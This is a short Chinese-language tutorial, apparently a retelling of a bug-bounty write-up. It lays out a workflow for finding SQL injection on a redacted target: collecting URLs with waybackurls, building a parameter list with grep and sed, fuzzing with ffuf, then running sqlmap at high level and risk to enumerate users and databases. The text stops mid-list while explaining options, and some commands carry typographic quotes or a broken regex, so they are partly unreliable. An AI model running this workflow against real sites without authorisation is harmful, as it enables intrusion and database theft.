如何快速挖掘sql注入漏洞
0x00 前言
在一个平台上看到国外小哥的一篇文章,如何快速挖到sql注入漏洞
0x01 思路
第一步,使用waybackurls工具爬去网页的所有链接,可以添加筛选的条件,uro是一个删除重复网址的工具
1 | waybackurls https://redacted.org/ | uro | grep “.php” > php-files.txt |
第二步,发现PHP文件名看起来很有趣,由get开头,尝试制作参数字典,进行一系列的处理
1 | cat php-files.txt| grep -i get | sed ‘s/.*.get//’ | sort -u |
只需要 grep 包含get字符串的行并删除它之前的所有行并使其唯一以避免重复
但我们应该删除 .php 字符串来创建一个列表,所以我只是将这一行添加到最后一个命令cut -f1 -d”.”
我注意到我所有的字符串都包含两个单词,我不知道它们中的哪个是参数,所以让我们拆分它
如何在一行中找到大写字母,并拆分成行 sed ‘s/[AZ]+/\n&/g’
认为大多数参数都是小写的,而不是大写的,所以我将其保留为大写参数并将其转换为小写
第三步,使用ffuf去fuzz
1 | ffuf -w lowercase-parameters.txt -u "https://redacted.org/searchProgressCommitment.php?FUZZ=5" |
get 请求没结果,尝试转换post请求
1 | ffuf -w lowercase-parameters.txt -X POST -d "FUZZ=5" -u "https://redacted.org/searchProgressCommitment.php" |
第四步,使用sqlmap去跑
1 | sqlmap -r req3.txt -p commitment --force-ssl --level 5 --risk 3 --dbms=”MYSQL” --hostname --current-user --current-db --dbs --tamper=between --no-cast |
1 | --level 5 --> Level of tests to perform. |